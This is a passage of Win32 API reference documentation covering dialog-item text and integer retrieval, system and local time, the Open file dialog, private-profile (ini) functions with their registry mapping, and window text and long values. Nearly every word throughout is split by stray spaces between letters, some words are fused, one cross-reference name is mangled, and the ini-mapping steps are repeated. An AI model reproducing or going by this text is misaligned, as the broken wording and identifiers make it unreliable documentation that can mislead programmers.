Thi s par amet er i s opt i onal : i t can be NULL. I n t hat case, t he f unct i on r et ur ns
no i nf or mat i on about success or f ai l ur e.

bSi gned

Speci f i es whet her t he f unct i on shoul d exami ne t he t ext f or a mi nus si gn at t he
begi nni ng and r et ur n a si gned i nt eger val ue i f i t f i nds one. TRUE speci f i es t hat
t hi s shoul d be done, FALSE t hat i t shoul d not .

Ret ur n Val ues

I f t he f unct i on succeeds, t he var i abl e poi nt ed t o by l pTr ansl at ed i s set t o
TRUE, and t he r et ur n val ue i s t he t r ansl at ed val ue of t he cont r ol t ext .

I f t he f unct i on f ai l s, t he var i abl e poi nt ed t o by l pTr ansl at ed i s set t o FALSE,
and t he r et ur n val ue i s zer o. Not e t hat , si nce zer o i s a possi bl e t r ansl at ed
val ue, a r et ur n val ue of zer o does not by i t sel f i ndi cat e f ai l ur e.

I f l pTr ansl at ed i s NULL, t he f unct i on r et ur ns no i nf or mat i on about success or
f ai l ur e.

I f t he bSi gned par amet er i s TRUE, speci f yi ng t hat t he val ue t o be r et r i eved i s a
si gned i nt eger val ue, cast t he r et ur n val ue t o an i nt t ype.

Remar ks

The Get Dl gI t emI nt f unct i on r et r i eves t he t ext of t he gi ven cont r ol by sendi ng
t he cont r ol a WM_GETTEXT message. The f unct i on t r ansl at es t he r et r i eved t ext by
st r i ppi ng any ext r a spaces at t he begi nni ng of t he t ext and t hen conver t i ng t he
deci mal di gi t s. The f unct i on st ops t r ansl at i ng when i t r eaches t he end of t he
t ext or encount er s a nonnumer i c char act er .


I f t he bSi gned par amet er i s TRUE, t he Get Dl gI t emI nt f unct i on checks f or a mi nus
si gn ( - ) at t he begi nni ng of t he t ext and t r ansl at es t he t ext i nt o a si gned
i nt eger val ue. Ot her wi se, t he f unct i on cr eat es an unsi gned i nt eger val ue.

The Get Dl gI t emI nt f unct i on r et ur ns zer o i f t he t r ansl at ed val ue i s gr eat er t han
I NT_MAX ( f or si gned number s) or UI NT_MAX ( f or unsi gned number s) .

See Al so

Get Dl gI t em

GetDlgItemText

The Get Dl gI t emText f unct i on r et r i eves t he t i t l e or t ext associ at ed wi t h a
cont r ol i n a di al og box.

UI NT Get Dl gI t emText (
HWND hDl g, / / handl e of di al og box
i nt nI DDl gI t em, / / i dent i f i er of cont r ol
LPTSTR l pSt r i ng, / / addr ess of buf f er f or t ext
i nt nMaxCount / / maxi mumsi ze of st r i ng
) ;

Par amet er s

hDl g

I dent i f i es t he di al og box t hat cont ai ns t he cont r ol .

nI DDl gI t em

Speci f i es t he i dent i f i er of t he cont r ol whose t i t l e or t ext i s t o be r et r i eved.

l pSt r i ng

Poi nt s t o t he buf f er t o r ecei ve t he t i t l e or t ext .

nMaxCount

Speci f i es t he maxi muml engt h, i n char act er s, of t he st r i ng t o be copi ed t o t he
buf f er poi nt ed t o by l pSt r i ng. I f t he l engt h of t he st r i ng exceeds t he l i mi t ,
t he st r i ng i s t r uncat ed.

Ret ur n Val ues

I f t he f unct i on succeeds, t he r et ur n val ue speci f i es t he number of char act er s
copi ed t o t he buf f er , not i ncl udi ng t he t er mi nat i ng nul l char act er .

I f t he f unct i on f ai l s, t he r et ur n val ue i s zer o.

Remar ks

The Get Dl gI t emText f unct i on sends a WM_GETTEXT message t o t he cont r ol .

See Al so

Get Dl gI t emI nt

GetLocalTime

The Get Local Ti me f unct i on r et r i eves t he cur r ent l ocal dat e and t i me.

VOI D Get Local Ti me(
LPSYSTEMTI ME l pSyst emTi me / / addr ess of syst emt i me st r uct ur e
) ;

Par amet er s

l pSyst emTi me

Poi nt s t o a SYSTEMTI ME st r uct ur e t o r ecei ve t he cur r ent l ocal dat e and t i me.

Ret ur n Val ues

Thi s f unct i on does not r et ur n a val ue.

See Al so

Get Syst emTi me

GetOpenFileName

The Get OpenFi l eName f unct i on cr eat es an Open common di al og box t hat l et s t he
user speci f y t he dr i ve, di r ect or y, and t he name of a f i l e or set of f i l es t o
open.

BOOL Get OpenFi l eName(
LPOPENFI LENAME l pof n / / addr ess of st r uct ur e wi t h i ni t i al i zat i on dat a
) ;

Par amet er s

l pof n

Poi nt er t o an OPENFI LENAME st r uct ur e t hat cont ai ns i nf or mat i on used t o
i ni t i al i ze t he di al og box. When Get OpenFi l eName r et ur ns, t hi s st r uct ur e cont ai ns
i nf or mat i on about t he user ' s f i l e sel ect i on.

Ret ur n Val ues

I f t he user speci f i es a f i l ename and cl i cks t he OK but t on, t he r et ur n val ue i s
nonzer o. The buf f er poi nt ed t o by t he l pst r Fi l e member of t he OPENFI LENAME
st r uct ur e cont ai ns t he f ul l pat h and f i l ename speci f i ed by t he user .

I f t he user cancel s or cl oses t he Open di al og box or an er r or occur s, t he r et ur n
val ue i s zer o. To get ext ended er r or i nf or mat i on, cal l t he CommDl gExt endedEr r or
f unct i on, whi ch can r et ur n one of t he f ol l owi ng val ues:

CDERR_FI NDRESFAI LURE
CDERR_NOHI NSTANCE
CDERR_I NI TI ALI ZATI ON
CDERR_NOHOOK
CDERR_LOCKRESFAI LURE
CDERR_NOTEMPLATE
CDERR_LOADRESFAI LURE
CDERR_STRUCTSI ZE
CDERR_LOADSTRFAI LURE
FNERR_BUFFERTOOSMALL
CDERR_MEMALLOCFAI LURE
FNERR_I NVALI DFI LENAME
CDERR_MEMLOCKFAI LURE
FNERR_SUBCLASSFAI LURE

Remar ks

By def aul t , Wi ndows 95 and Wi ndows NT ver si on 4. 0 di spl ay a new ver si on of t he
Open di al og box t hat pr ovi des user - i nt er f ace f eat ur es t hat ar e si mi l ar t o t he
Wi ndows Expl or er . You can pr ovi de an OFNHookPr oc hook pr ocedur e f or an Expl or er -
st yl e Open di al og box. To enabl e t he hook pr ocedur e, set t he OFN_EXPLORER and
OFN_ENABLEHOOK f l ags i n t he Fl ags member of t he OPENFI LENAME st r uct ur e and
speci f y t he addr ess of t he hook pr ocedur e i n t he l pf nHook member .
Wi ndows 95 and Wi ndows NT 4. 0 cont i nue t o suppor t t he ol d- st yl e Open di al og box
f or appl i cat i ons t hat want t o mai nt ai n a user - i nt er f ace consi st ent wi t h t he
Wi ndows 3. 1 or Wi ndows NT 3. 51 user - i nt er f ace. To di spl ay t he ol d- st yl e Open
di al og box, enabl e an OFNHookPr ocOl dSt yl e hook pr ocedur e and ensur e t hat t he
OFN_EXPLORER f l ag i s not set .
GetPrivateProfileInt

The Get Pr i vat ePr of i l eI nt f unct i on r et r i eves an i nt eger associ at ed wi t h a key i n
t he speci f i ed sect i on of t he gi ven i ni t i al i zat i on f i l e. Thi s f unct i on i s
pr ovi ded f or compat i bi l i t y wi t h 16- bi t Wi ndows- based appl i cat i ons. Wi n32- based
appl i cat i ons shoul d st or e i ni t i al i zat i on i nf or mat i on i n t he r egi st r y.

UI NT Get Pr i vat ePr of i l eI nt (
LPCTSTR l pAppName, / / addr ess of sect i on name
LPCTSTR l pKeyName, / / addr ess of key name
I NT nDef aul t , / / r et ur n val ue i f key name i s not f ound

LPCTSTR l pFi l eName / / addr ess of i ni t i al i zat i on f i l ename
) ;

Par amet er s

l pAppName

Poi nt s t o a nul l - t er mi nat ed st r i ng cont ai ni ng t he sect i on name i n t he
i ni t i al i zat i on f i l e.

l pKeyName

Poi nt s t o t he nul l - t er mi nat ed st r i ng cont ai ni ng t he key name whose val ue i s t o
be r et r i eved. Thi s val ue i s i n t he f or mof a st r i ng; t he Get Pr i vat ePr of i l eI nt
f unct i on conver t s t he st r i ng i nt o an i nt eger and r et ur ns t he i nt eger .

nDef aul t

Speci f i es t he def aul t val ue t o r et ur n i f t he key name cannot be f ound i n t he
i ni t i al i zat i on f i l e.


l pFi l eName

Poi nt s t o a nul l - t er mi nat ed st r i ng t hat names t he i ni t i al i zat i on f i l e. I f t hi s
par amet er does not cont ai n a f ul l pat h t o t he f i l e, Wi ndows sear ches f or t he
f i l e i n t he Wi ndows di r ect or y.

Ret ur n Val ues

I f t he f unct i on succeeds, t he r et ur n val ue i s t he i nt eger equi val ent of t he
st r i ng f ol l owi ng t he speci f i ed key name i n t he speci f i ed i ni t i al i zat i on f i l e. I f
t he key i s not f ound, t he r et ur n val ue i s t he speci f i ed def aul t val ue. I f t he
val ue of t he key i s l ess t han zer o, t he r et ur n val ue i s zer o.

Remar ks

The f unct i on sear ches t he f i l e f or a key t hat mat ches t he name speci f i ed by t he
l pKeyName par amet er under t he sect i on name speci f i ed by t he l pAppName par amet er .
A sect i on i n t he i ni t i al i zat i on f i l e must have t he f ol l owi ng f or m:

[ sect i on]
key=val ue
.
.
.
The Get Pr i vat ePr of i l eI nt f unct i on i s not case- sensi t i ve; t he st r i ngs i n
l pAppName and l pKeyName can be a combi nat i on of upper case and l ower case l et t er s.

An appl i cat i on can use t he Get Pr of i l eI nt f unct i on t o r et r i eve an i nt eger val ue
f r omt he WI N. I NI f i l e.


Wi ndows NT:

Cal l s t o pr i vat e pr of i l e f unct i ons may be mapped t o t he r egi st r y i nst ead of t o
t he speci f i ed i ni t i al i zat i on f i l es. Thi s mappi ng occur s when t he i ni t i al i zat i on
f i l e and sect i on ar e speci f i ed i n t he r egi st r y under t he f ol l owi ng keys:

HKEY_LOCAL_MACHI NE\ Sof t war e\ Mi cr osof t \
Wi ndows NT\ Cur r ent Ver si on\ I ni Fi l eMappi ng

Thi s mappi ng i s l i kel y i f an appl i cat i on modi f i es syst em- component
i ni t i al i zat i on f i l es, such as CONTROL. I NI , SYSTEM. I NI , and WI NFI LE. I NI . I n t hese
cases, t he Get Pr i vat ePr of i l eI nt f unct i on r et r i eves i nf or mat i on f r omt he
r egi st r y, not f r omt he i ni t i al i zat i on f i l e; t he change i n t he st or age l ocat i on
has no ef f ect on t he f unct i on' s behavi or .


The Wi n32 Pr of i l e f unct i ons ( Get / Wr i t ePr of i l e*, Get / Wr i t ePr i vat ePr of i l e*) use
t he f ol l owi ng st eps t o l ocat e i ni t i al i zat i on i nf or mat i on:

1. Look i n t he r egi st r y f or t he name of t he i ni t i al i zat i on f i l e, say myf i l e. i ni ,
under I ni Fi l eMappi ng:

HKEY_LOCAL_MACHI NE\ Sof t war e\ Mi cr osof t \
Wi ndows NT\ Cur r ent Ver si on\ I ni Fi l eMappi ng\ myf i l e. i ni

2. Look f or t he sect i on name speci f i ed by l pAppName. Thi s wi l l be a named val ue
under myf i l e. i ni , or a subkey of myf i l e. i ni , or wi l l not exi st .


3. I f t he sect i on name speci f i ed by l pAppName i s a named val ue under myf i l e. i ni ,
t hen t hat val ue speci f i es wher e i n t he r egi st r y you wi l l f i nd t he keys f or t he
sect i on.

4. I f t he sect i on name speci f i ed by l pAppName i s a subkey of myf i l e. i ni , t hen
named val ues under t hat subkey speci f y wher e i n t he r egi st r y you wi l l f i nd t he
keys f or t he sect i on. I f t he key you ar e l ooki ng f or does not exi st as a named
val ue, t hen t her e wi l l be an unnamed val ue ( shown as " <No Name>" ) t hat speci f i es
t he def aul t l ocat i on i n t he r egi st r y wher e you wi l l f i nd t he key.


5. I f t he sect i on name speci f i ed by l pAppName does not exi st as a named val ue or
as a subkey under myf i l e. i ni , t hen t her e wi l l be an unnamed val ue ( shown as " <No
Name>" ) under myf i l e. i ni t hat speci f i es t he def aul t l ocat i on i n t he r egi st r y
wher e you wi l l f i nd t he keys f or t he sect i on.

6. I f t her e i s no subkey f or myf i l e. i ni , or i f t her e i s no ent r y f or t he sect i on
name, t hen l ook f or t he act ual myf i l e. i ni on t he di sk and r ead i t s cont ent s.

When l ooki ng at val ues i n t he r egi st r y t hat speci f y ot her r egi st r y l ocat i ons,
t her e ar e sever al pr ef i xes t hat change t he behavi or of t he i ni f i l e mappi ng:

! - t hi s char act er f or ces al l wr i t es t o go bot h t o t he r egi st r y and t o t he . I NI
f i l e on di sk.

# - t hi s char act er causes t he r egi st r y val ue t o be set t o t he val ue i n t he
Wi ndows 3. 1 . I NI f i l e when a new user l ogs i n f or t he f i r st t i me af t er set up.

@- t hi s char act er pr event s any r eads f r omgoi ng t o t he . I NI f i l e on di sk i f t he
r equest ed dat a i s not f ound i n t he r egi st r y.

USR: - t hi s pr ef i x st ands f or HKEY_CURRENT_USER, and t he t ext af t er t he pr ef i x
i s r el at i ve t o t hat key.

SYS: - t hi s pr ef i x st ands f or HKEY_LOCAL_MACHI NE\ SOFTWARE, and t he t ext af t er
t he pr ef i x i s r el at i ve t o t hat key.

See Al so

Get Pr of i l eI nt

GetPrivateProfileString

The Get Pr i vat ePr of i l eSt r i ng f unct i on r et r i eves a st r i ng f r omt he speci f i ed
sect i on i n an i ni t i al i zat i on f i l e. Thi s f unct i on i s pr ovi ded f or compat i bi l i t y
wi t h 16- bi t Wi ndows- based appl i cat i ons. Wi n32- based appl i cat i ons shoul d st or e
i ni t i al i zat i on i nf or mat i on i n t he r egi st r y.

DWORD Get Pr i vat ePr of i l eSt r i ng(
LPCTSTR l pAppName, / / poi nt s t o sect i on name
LPCTSTR l pKeyName, / / poi nt s t o key name
LPCTSTR l pDef aul t , / / poi nt s t o def aul t st r i ng

LPTSTR l pRet ur nedSt r i ng, / / poi nt s t o dest i nat i on buf f er
DWORD nSi ze, / / si ze of dest i nat i on buf f er
LPCTSTR l pFi l eName / / poi nt s t o i ni t i al i zat i on f i l ename
) ;

Par amet er s

l pAppName

Poi nt s t o a nul l - t er mi nat ed st r i ng t hat speci f i es t he sect i on cont ai ni ng t he key
name. I f t hi s par amet er i s NULL, t he Get Pr i vat ePr of i l eSt r i ng f unct i on copi es al l
sect i on names i n t he f i l e t o t he suppl i ed buf f er .

l pKeyName

Poi nt er t o t he nul l - t er mi nat ed st r i ng cont ai ni ng t he key name whose associ at ed
st r i ng i s t o be r et r i eved. I f t hi s par amet er i s NULL, al l key names i n t he
sect i on speci f i ed by t he l pAppName par amet er ar e copi ed t o t he buf f er speci f i ed
by t he l pRet ur nedSt r i ng par amet er .

l pDef aul t

Poi nt er t o a nul l - t er mi nat ed def aul t st r i ng. I f t he l pKeyName key cannot be
f ound i n t he i ni t i al i zat i on f i l e, Get Pr i vat ePr of i l eSt r i ng copi es t he def aul t
st r i ng t o t he l pRet ur nedSt r i ng buf f er . Thi s par amet er cannot be NULL.

Avoi d speci f yi ng a def aul t st r i ng wi t h t r ai l i ng bl ank char act er s. The f unct i on
i nser t s a nul l char act er i n t he l pRet ur nedSt r i ng buf f er t o st r i p any t r ai l i ng
bl anks.
Wi ndows 95: Al t hough l pDef aul t i s decl ar ed as a const ant par amet er , Wi ndows 95
st r i ps any t r ai l i ng bl anks by i nser t i ng a nul l char act er i nt o t he l pDef aul t
st r i ng bef or e copyi ng i t t o t he l pRet ur nedSt r i ng buf f er .


Wi ndows NT: Wi ndows NT does not modi f y t he l pDef aul t st r i ng. Thi s means t hat i f
t he def aul t st r i ng cont ai ns t r ai l i ng bl anks, t he l pRet ur nedSt r i ng and l pDef aul t
st r i ngs wi l l not mat ch when compar ed usi ng t he l st r cmp f unct i on.

l pRet ur nedSt r i ng

Poi nt er t o t he buf f er t hat r ecei ves t he r et r i eved st r i ng.

nSi ze

Speci f i es t he si ze, i n char act er s, of t he buf f er poi nt ed t o by t he
l pRet ur nedSt r i ng par amet er .

l pFi l eName

Poi nt er t o a nul l - t er mi nat ed st r i ng t hat names t he i ni t i al i zat i on f i l e. I f t hi s
par amet er does not cont ai n a f ul l pat h t o t he f i l e, Wi ndows sear ches f or t he
f i l e i n t he Wi ndows di r ect or y.


Ret ur n Val ues

I f t he f unct i on succeeds, t he r et ur n val ue i s t he number of char act er s copi ed t o
t he buf f er , not i ncl udi ng t he t er mi nat i ng nul l char act er .

I f nei t her l pAppName nor l pKeyName i s NULL and t he suppl i ed dest i nat i on buf f er
i s t oo smal l t o hol d t he r equest ed st r i ng, t he st r i ng i s t r uncat ed and f ol l owed
by a nul l char act er , and t he r et ur n val ue i s equal t o nSi ze mi nus one.

I f ei t her l pAppName or l pKeyName i s NULL and t he suppl i ed dest i nat i on buf f er i s
t oo smal l t o hol d al l t he st r i ngs, t he l ast st r i ng i s t r uncat ed and f ol l owed by
t wo nul l char act er s. I n t hi s case, t he r et ur n val ue i s equal t o nSi ze mi nus t wo.

Remar ks

The Get Pr i vat ePr of i l eSt r i ng f unct i on sear ches t he speci f i ed i ni t i al i zat i on f i l e
f or a key t hat mat ches t he name speci f i ed by t he l pKeyName par amet er under t he
sect i on headi ng speci f i ed by t he l pAppName par amet er . I f i t f i nds t he key, t he
f unct i on copi es t he cor r espondi ng st r i ng t o t he buf f er . I f t he key does not
exi st , t he f unct i on copi es t he def aul t char act er st r i ng speci f i ed by t he
l pDef aul t par amet er . A sect i on i n t he i ni t i al i zat i on f i l e must have t he
f ol l owi ng f or m:


[ sect i on]
key=st r i ng
.
.
.

I f l pAppName i s NULL, Get Pr i vat ePr of i l eSt r i ng copi es al l sect i on names i n t he
speci f i ed f i l e t o t he suppl i ed buf f er . I f l pKeyName i s NULL, t he f unct i on copi es
al l key names i n t he speci f i ed sect i on t o t he suppl i ed buf f er . An appl i cat i on
can use t hi s met hod t o enumer at e al l of t he sect i ons and keys i n a f i l e. I n
ei t her case, each st r i ng i s f ol l owed by a nul l char act er and t he f i nal st r i ng i s
f ol l owed by a second nul l char act er . I f t he suppl i ed dest i nat i on buf f er i s t oo
smal l t o hol d al l t he st r i ngs, t he l ast st r i ng i s t r uncat ed and f ol l owed by t wo
nul l char act er s.

I f t he st r i ng associ at ed wi t h l pKeyName i s encl osed i n si ngl e or doubl e
quot at i on mar ks, t he mar ks ar e di scar ded when t he Get Pr i vat ePr of i l eSt r i ng
f unct i on r et r i eves t he st r i ng.

The Get Pr i vat ePr of i l eSt r i ng f unct i on i s not case- sensi t i ve; t he st r i ngs can be a
combi nat i on of upper case and l ower case l et t er s.

To r et r i eve a st r i ng f r omt he WI N. I NI f i l e, use t he Get Pr of i l eSt r i ng f unct i on.

Wi ndows NT:

Cal l s t o pr i vat e pr of i l e f unct i ons may be mapped t o t he r egi st r y i nst ead of t o
t he speci f i ed i ni t i al i zat i on f i l es. Thi s mappi ng occur s when t he i ni t i al i zat i on
f i l e and sect i on ar e speci f i ed i n t he r egi st r y under t he f ol l owi ng keys:

HKEY_LOCAL_MACHI NE\ Sof t war e\ Mi cr osof t \
Wi ndows NT\ Cur r ent Ver si on\ I ni Fi l eMappi ng

Thi s mappi ng i s l i kel y i f an appl i cat i on modi f i es syst em- component
i ni t i al i zat i on f i l es, such as CONTROL. I NI , SYSTEM. I NI , and WI NFI LE. I NI . I n t hese
cases, t he Get Pr i vat ePr of i l eSt r i ng f unct i on r et r i eves i nf or mat i on f r omt he
r egi st r y, not f r omt he i ni t i al i zat i on f i l e; t he change i n t he st or age l ocat i on
has no ef f ect on t he f unct i on' s behavi or .

The Wi n32 Pr of i l e f unct i ons ( Get / Wr i t ePr of i l e*, Get / Wr i t ePr i vat ePr of i l e*) use
t he f ol l owi ng st eps t o l ocat e i ni t i al i zat i on i nf or mat i on:


1. Look i n t he r egi st r y f or t he name of t he i ni t i al i zat i on f i l e, say myf i l e. i ni ,
under I ni Fi l eMappi ng:

HKEY_LOCAL_MACHI NE\ Sof t war e\ Mi cr osof t \
Wi ndows NT\ Cur r ent Ver si on\ I ni Fi l eMappi ng\ myf i l e. i ni

2. Look f or t he sect i on name speci f i ed by l pAppName. Thi s wi l l be a named val ue
under myf i l e. i ni , or a subkey of myf i l e. i ni , or wi l l not exi st .

3. I f t he sect i on name speci f i ed by l pAppName i s a named val ue under myf i l e. i ni ,
t hen t hat val ue speci f i es wher e i n t he r egi st r y you wi l l f i nd t he keys f or t he
sect i on.


4. I f t he sect i on name speci f i ed by l pAppName i s a subkey of myf i l e. i ni , t hen
named val ues under t hat subkey speci f y wher e i n t he r egi st r y you wi l l f i nd t he
keys f or t he sect i on. I f t he key you ar e l ooki ng f or does not exi st as a named
val ue, t hen t her e wi l l be an unnamed val ue ( shown as " <No Name>" ) t hat speci f i es
t he def aul t l ocat i on i n t he r egi st r y wher e you wi l l f i nd t he key.

5. I f t he sect i on name speci f i ed by l pAppName does not exi st as a named val ue or
as a subkey under myf i l e. i ni , t hen t her e wi l l be an unnamed val ue ( shown as " <No
Name>" ) under myf i l e. i ni t hat speci f i es t he def aul t l ocat i on i n t he r egi st r y
wher e you wi l l f i nd t he keys f or t he sect i on.


6. I f t her e i s no subkey f or myf i l e. i ni , or i f t her e i s no ent r y f or t he sect i on
name, t hen l ook f or t he act ual myf i l e. i ni on t he di sk and r ead i t s cont ent s.

When l ooki ng at val ues i n t he r egi st r y t hat speci f y ot her r egi st r y l ocat i ons,
t her e ar e sever al pr ef i xes t hat change t he behavi or of t he i ni f i l e mappi ng:

! - t hi s char act er f or ces al l wr i t es t o go bot h t o t he r egi st r y and t o t he . I NI
f i l e on di sk.

# - t hi s char act er causes t he r egi st r y val ue t o be set t o t he val ue i n t he
Wi ndows 3. 1 . I NI f i l e when a new user l ogs i n f or t he f i r st t i me af t er set up.


@- t hi s char act er pr event s any r eads f r omgoi ng t o t he . I NI f i l e on di sk i f t he
r equest ed dat a i s not f ound i n t he r egi st r y.

USR: - t hi s pr ef i x st ands f or HKEY_CURRENT_USER, and t he t ext af t er t he pr ef i x
i s r el at i ve t o t hat key.

SYS: - t hi s pr ef i x st ands f or HKEY_LOCAL_MACHI NE\ SOFTWARE, and t he t ext af t er
t he pr ef i x i s r el at i ve t o t hat key.

See Al so

Get Pr of i l eSi nt


Get Syst emTi me

The Get Syst emTi me f unct i on r et r i eves t he cur r ent syst emdat e and t i me. The
syst emt i me i s expr essed i n Coor di nat ed Uni ver sal Ti me ( UTC) .

VOI D Get Syst emTi me(
LPSYSTEMTI ME l pSyst emTi me / / addr ess of syst emt i me st r uct ur e
) ;

Par amet er s

l pSyst emTi me

Poi nt s t o a SYSTEMTI ME st r uct ur e t o r ecei ve t he cur r ent syst emdat e and t i me.

Ret ur n Val ues

Thi s f unct i on does not r et ur n a val ue.

See Al so

Get Local Ti me, Get Syst emTi meAdj ust ment , Set Syst emTi me, SYSTEMTI ME
GetSystemTimeAsFileTime

The Get Syst emTi meAsFi l eTi me f unct i on obt ai ns t he cur r ent syst emdat e and t i me.
The i nf or mat i on i s i n Coor di nat ed Uni ver sal Ti me ( UTC) f or mat .

VOI D Get Syst emTi meAsFi l eTi me(
LPFI LETI ME l pSyst emTi meAsFi l eTi me / / poi nt er t o a f i l e t i me st r uct ur e
) ;

Par amet er s

l pSyst emTi meAsFi l eTi me

Poi nt er t o a FI LETI ME st r uct ur e t o r ecei ve t he cur r ent syst emdat e and t i me i n
UTC f or mat .

Ret ur n Val ues

Thi s f unct i on does not r et ur n a val ue.

Remar ks

The Get Syst emTi meAsFi l eTi me f unct i on i s equi val ent t o t he f ol l owi ng code
sequence:

FI LETI ME f t ;
SYSTEMTI ME st ;

Get Syst emTi me( &st ) ;
Syst emTi meToFi l eTi me( &st , &f t ) ;

See Al so

FI LETI ME, Get Syst emTi me, SYSTEMTI ME, Syst emTi meToFi l eTi me

GetWindowLong

The Get Wi ndowLong f unct i on r et r i eves i nf or mat i on about t he speci f i ed wi ndow. The
f unct i on al so r et r i eves t he 32- bi t ( l ong) val ue at t he speci f i ed of f set i nt o t he
ext r a wi ndow memor y of a wi ndow.

LONG Get Wi ndowLong(
HWND hWnd, / / handl e of wi ndow
i nt nI ndex / / of f set of val ue t o r et r i eve
) ;

Par amet er s

hWnd

I dent i f i es t he wi ndow and, i ndi r ect l y, t he cl ass t o whi ch t he wi ndow bel ongs.

nI ndex

Speci f i es t he zer o- based of f set t o t he val ue t o be r et r i eved. Val i d val ues ar e
i n t he r ange zer o t hr ough t he number of byt es of ext r a wi ndow memor y, mi nus
f our ; f or exampl e, i f you speci f i ed 12 or mor e byt es of ext r a memor y, a val ue of
8 woul d be an i ndex t o t he t hi r d 32- bi t i nt eger . To r et r i eve any ot her val ue,
speci f y one of t he f ol l owi ng val ues:


GWL_EXSTYLE
Ret r i eves t he ext ended wi ndow st yl es.

GWL_STYLE
Ret r i eves t he wi ndow st yl es.

GWL_WNDPROC
Ret r i eves t he addr ess of t he wi ndow pr ocedur e, or a handl e r epr esent i ng t he
addr ess of t he wi ndow pr ocedur e. You must use t he Cal l Wi ndowPr oc f unct i on t o
cal l t he wi ndow pr ocedur e.

GWL_HI NSTANCE
Ret r i eves t he handl e of t he appl i cat i on i nst ance.

GWL_HWNDPARENT
Ret r i eves t he handl e of t he par ent wi ndow, i f any.


GWL_I D
Ret r i eves t he i dent i f i er of t he wi ndow.

GWL_USERDATA
Ret r i eves t he 32- bi t val ue associ at ed wi t h t he wi ndow. Each wi ndow has a
cor r espondi ng 32- bi t val ue i nt ended f or use by t he appl i cat i on t hat cr eat ed t he
wi ndow.

The f ol l owi ng val ues ar e al so avai l abl e when t he hWnd par amet er i dent i f i es a
di al og box:

DWL_DLGPROC
Ret r i eves t he addr ess of t he di al og box pr ocedur e, or a handl e r epr esent i ng t he
addr ess of t he di al og box pr ocedur e. You must use t he Cal l Wi ndowPr oc f unct i on t o
cal l t he di al og box pr ocedur e.


DWL_MSGRESULT
Ret r i eves t he r et ur n val ue of a message pr ocessed i n t he di al og box pr ocedur e.

DWL_USER
Ret r i eves ext r a i nf or mat i on pr i vat e t o t he appl i cat i on, such as handl es or
poi nt er s.


Ret ur n Val ues

I f t he f unct i on succeeds, t he r et ur n val ue i s t he r equest ed 32- bi t val ue.

I f t he f unct i on f ai l s, t he r et ur n val ue i s zer o. To get ext ended er r or
i nf or mat i on, cal l Get Last Er r or .

Remar ks

Reser ve ext r a wi ndow memor y by speci f yi ng a nonzer o val ue i n t he cbWndExt r a
member of t he WNDCLASS st r uct ur e used wi t h t he Regi st er Cl ass f unct i on.


See Al so

Cal l Wi ndowPr oc, Get Wi ndowWor d, Regi st er Cl ass, Set Par ent

GetWindowText

The Get Wi ndowText f unct i on copi es t he t ext of t he speci f i ed wi ndow' s t i t l e bar
( i f i t has one) i nt o a buf f er . I f t he speci f i ed wi ndow i s a cont r ol , t he t ext of
t he cont r ol i s copi ed.

i nt Get Wi ndowText (
HWND hWnd, / / handl e of wi ndow or cont r ol wi t h t ext
LPTSTR l pSt r i ng, / / addr ess of buf f er f or t ext
i nt nMaxCount / / maxi mumnumber of char act er s t o copy
) ;

Par amet er s

hWnd

I dent i f i es t he wi ndow or cont r ol cont ai ni ng t he t ext .


l pSt r i ng

Poi nt s t o t he buf f er t hat wi l l r ecei ve t he t ext .

nMaxCount

Speci f i es t he maxi mumnumber of char act er s t o copy t o t he buf f er , i ncl udi ng t he
NULL char act er . I f t he t ext exceeds t hi s l i mi t , i t i s t r uncat ed.

Ret ur n Val ues

I f t he f unct i on succeeds, t he r et ur n val ue i s t he l engt h, i n char act er s, of t he
copi ed st r i ng, not i ncl udi ng t he t er mi nat i ng nul l char act er . I f t he wi ndow has
no t i t l e bar or t ext , i f t he t i t l e bar i s empt y, or i f t he wi ndow or cont r ol
handl e i s i nval i d, t he r et ur n val ue i s zer o. To get ext ended er r or i nf or mat i on,
cal l Get Last Er r or .


Thi s f unct i on cannot r et r i eve t he t ext of an edi t cont r ol i n anot her
appl i cat i on.

Remar ks

Thi s f unct i on causes a WM_GETTEXT message t o be sent t o t he speci f i ed wi ndow or
cont r ol .

Thi s f unct i on cannot r et r i eve t he t ext of an edi t cont r ol i n anot her
appl i cat i on.

See Al so

Get Wi ndowText Lengt h

GetWindowTextLength

The Get Wi ndowText Lengt h f unct i on r et r i eves t he l engt h, i n char act er s, of t he
speci f i ed wi ndow' s t i t l e bar t ext ( i f t he wi ndow has a t i t l e bar ) . I f t he
speci f i ed wi ndow i s a cont r ol , t he f unct i on r et r i eves t he l engt h of t he t ext
wi t hi n t he cont r ol .

i nt Get Wi ndowText Lengt h(
HWND hWnd / / handl e of wi ndow or cont r ol wi t h t ext
) ;

Par amet er s

hWnd

I dent i f i es t he wi ndow or cont r ol .

Ret ur n Val ues


I f t he f unct i on succeeds, t he r et ur n val ue i s t he l engt h, i n char act er s, of t he
t ext . Under cer t ai n condi t i ons, t hi s val ue may act ual l y be gr eat er t han t he
l engt h of t he t ext . For mor e i nf or mat i on, see t he f ol l owi ng Remar ks sect i on.

I f t he wi ndow has no t ext , t he r et ur n val ue i s zer o. To get ext ended er r or
i nf or mat i on, cal l Get Last Er r or .

Remar ks

Thi s f unct i on causes a WM_GETTEXTLENGTH message t o be sent t o t he speci f i ed
wi ndow or cont r ol .

Under cer t ai n condi t i ons, t he Get Wi ndowText Lengt h f unct i on may r et ur n a val ue
t hat i s l ar ger t han t he act ual l engt h of t he t ext . Thi s occur s wi t h cer t ai n
mi xt ur es of ANSI and Uni code, and i s due t o t he oper at i ng syst emal l owi ng f or
t he possi bl e exi st ence of DBCS char act er s wi t hi n t he t ext . The r et ur n val ue,
however , wi l l al ways be at l east as l ar ge as t he act ual l engt h of t he t ext ; you
can t hus al ways use i t t o gui de buf f er al l ocat i on. Thi s behavi or can occur when
an appl i cat i on uses bot h ANSI f unct i ons and common di al ogs, whi ch use Uni code.
I t can al so occur when an appl i cat i on uses t he ANSI f l avor of
Get Wi ndowText Lengt h wi t h a wi ndow whose wi ndow pr ocedur e i s Uni code, or t he
Uni code f l avor wi t h a wi ndow whose wi ndow pr ocedur e i s ANSI .


To obt ai n t he exact l engt h of t he t ext , use t he WM_GETTEXT, LB_GETTEXT, or
CB_GETLBTEXT messages, or t he Get Wi ndowText f unct i on.

See Al so

CB_GETLBTEXT, Get Wi ndowText , LB_GETTEXT, Set Wi ndowText


CharUpper

The Char Upper f unct i on conver t s a char act er st r i ng or a si ngl e char act er t o
upper case. I f t he oper and i s a char act er st r i ng, t he f unct i on conver t s t he
char act er s i n pl ace. Thi s f unct i on super sedes t he Ansi Upper f unct i on.

LPTSTR Char Upper (
LPTSTR l psz / / si ngl e char act er or poi nt er t o st r i ng
